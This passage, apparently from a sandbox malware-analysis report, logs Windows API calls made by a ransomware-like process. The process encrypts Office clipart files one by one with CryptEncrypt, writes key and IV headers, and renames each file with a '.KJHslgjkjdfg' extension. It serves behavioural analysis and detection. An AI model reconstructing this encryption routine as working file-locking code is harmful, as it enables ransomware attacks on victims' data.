lpNumberOfBytesRead=0x290f27c*=0x4fdc, lpOverlapped=0x0) returned 1 [0172.238] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4fe0, dwBufLen=0x4fe0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4fe0) returned 1 [0172.238] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.238] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4fe0, lpOverlapped=0x0) returned 1 [0172.238] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.238] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x50b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.238] SetEndOfFile (hFile=0x114) returned 1 [0172.241] GetProcessHeap () returned 0x2a0000 [0172.241] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.241] GetProcessHeap () returned 0x2a0000 [0172.241] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.241] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.kjhslgjkjdfg")) returned 1 [0172.242] CloseHandle (hObject=0x114) returned 1 [0172.243] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105412.WMF", cAlternateFileName="")) returned 1 [0172.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.243] GetProcessHeap () returned 0x2a0000 [0172.243] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.243] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.243] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.246] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.246] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.246] GetProcessHeap () returned 0x2a0000 [0172.246] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.246] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.246] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.246] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.246] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.246] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.246] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.246] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.246] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.246] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.247] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.247] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.247] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x24b8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x24b8, lpOverlapped=0x0) returned 1 [0172.248] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x24c0, dwBufLen=0x24c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x24c0) returned 1 [0172.248] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.248] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x24c0, lpOverlapped=0x0) returned 1 [0172.249] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.249] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.249] SetEndOfFile (hFile=0x114) returned 1 [0172.298] GetProcessHeap () returned 0x2a0000 [0172.298] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.298] GetProcessHeap () returned 0x2a0000 [0172.298] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.kjhslgjkjdfg")) returned 1 [0172.299] CloseHandle (hObject=0x114) returned 1 [0172.299] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105414.WMF", cAlternateFileName="")) returned 1 [0172.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.300] GetProcessHeap () returned 0x2a0000 [0172.300] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.300] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.300] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.300] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.302] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.302] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.302] GetProcessHeap () returned 0x2a0000 [0172.302] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.302] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.302] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.302] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.302] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.302] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.302] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.303] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.303] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.303] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.303] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.303] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.303] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1864, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1864, lpOverlapped=0x0) returned 1 [0172.304] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1870, dwBufLen=0x1870 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1870) returned 1 [0172.304] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.304] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1870, lpOverlapped=0x0) returned 1 [0172.304] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.304] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.304] SetEndOfFile (hFile=0x114) returned 1 [0172.306] GetProcessHeap () returned 0x2a0000 [0172.306] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.306] GetProcessHeap () returned 0x2a0000 [0172.306] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.kjhslgjkjdfg")) returned 1 [0172.307] CloseHandle (hObject=0x114) returned 1 [0172.307] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105490.WMF", cAlternateFileName="")) returned 1 [0172.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.308] GetProcessHeap () returned 0x2a0000 [0172.308] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.308] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.308] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.308] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.310] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.310] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.310] GetProcessHeap () returned 0x2a0000 [0172.310] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.310] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.310] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.310] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.310] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.310] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.310] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.310] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.310] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.311] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.311] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.311] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.311] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4928, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4928, lpOverlapped=0x0) returned 1 [0172.312] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4930, dwBufLen=0x4930 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4930) returned 1 [0172.312] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.312] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4930, lpOverlapped=0x0) returned 1 [0172.312] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.312] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.312] SetEndOfFile (hFile=0x114) returned 1 [0172.314] GetProcessHeap () returned 0x2a0000 [0172.314] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.315] GetProcessHeap () returned 0x2a0000 [0172.315] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.kjhslgjkjdfg")) returned 1 [0172.316] CloseHandle (hObject=0x114) returned 1 [0172.316] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1424, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105496.WMF", cAlternateFileName="")) returned 1 [0172.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.316] GetProcessHeap () returned 0x2a0000 [0172.316] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.316] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.317] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.317] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.318] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.319] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.319] GetProcessHeap () returned 0x2a0000 [0172.319] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.319] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.319] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.319] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.319] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.319] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.319] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.319] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.319] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.319] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.319] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.319] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.319] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1424, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1424, lpOverlapped=0x0) returned 1 [0172.320] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1430, dwBufLen=0x1430 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1430) returned 1 [0172.320] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.320] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1430, lpOverlapped=0x0) returned 1 [0172.320] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.320] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.320] SetEndOfFile (hFile=0x114) returned 1 [0172.323] GetProcessHeap () returned 0x2a0000 [0172.323] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.323] GetProcessHeap () returned 0x2a0000 [0172.323] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), 